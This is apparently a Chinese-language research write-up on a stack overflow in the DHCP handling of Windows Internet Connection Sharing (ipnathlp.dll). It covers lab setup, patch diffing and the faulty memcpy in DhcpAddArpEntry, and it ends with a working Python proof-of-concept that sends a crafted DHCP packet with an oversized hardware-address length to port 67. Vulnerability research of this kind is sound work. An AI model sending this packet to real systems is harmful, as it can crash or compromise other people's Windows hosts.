简要分析bug成因, 仅供研究学习.

环境搭建

首先, 创建一个windows虚拟机, 添加两个网卡, 记作net1, net2. 依照 Enable Internet Connection Sharing (ICS) in Windows 10启用网络共享.

正常启用后, 观察监听端口, 可以看到多了3个新的监听端口, 分别是53, 67, 68, 都来自同一个进程, 如下所示:

1694601348253

补丁分析

对比文件ipnathlp.dll文件如下:

1694601552120

可以看到, 在左侧行37位置, 当长度超过0x20时, 它并没有跳转到结束, 而是继续处理, 补丁后, 它直接结束了后续函数操作. 所以问题很明显, 就是在后续的操作中可能存在溢出问题.

这里a2+228为data开始位置, buffer空间大小为1500. a2+220指示buffer中数据长度.

跟踪了DhcpExtractOptionsFromMessage并没有发现问题, 跟踪DhcpProcessBootpMessage->DhcpAddArpEntry, 有如下代码:

1
2
3
4
5
6
7
8
DhcpRemoveArpEntry(a1);
memset_0(&Row, 0, sizeof(Row));
Row.InterfaceIndex = DhcpAdapterIndex;
Row.Address.Ipv4.sin_family = 2;
Row.Address.Ipv4.sin_addr.S_un.S_addr = a1;
Row.PhysicalAddressLength = v4;
memcpy_0(Row.PhysicalAddress, Src, v4);
v10 = CreateIpNetEntry2(&Row);

v4a2+230的值, 即DHCP协议的Hardware address length 字段, Row是栈结构体, 大小为0xa8, 可以看到此处当v4超过0xa8时, 就会栈溢出.

除此以外, V2DhcpProcessMessage也存在相同情况.

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from socket import *
s = socket(AF_INET, SOCK_DGRAM)
addr = ('192.168.137.1', 67)
data = b"\x01\x01\xcc\x00\x94\x27\x17\x55\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x29\xab" \
b"\xf4\x97\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x63\x82\x53\x63" \
b"\x35\x00\x32\x04\xc0\xa8\x96\x80\x37\x12\x01\x1c\x02\x79\x0f" \
b"\x06\x0c\x28\x29\x2a\x1a\x77\x03\x79\xf9\x21\xfc\x2a\xff\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

s.sendto(data, addr)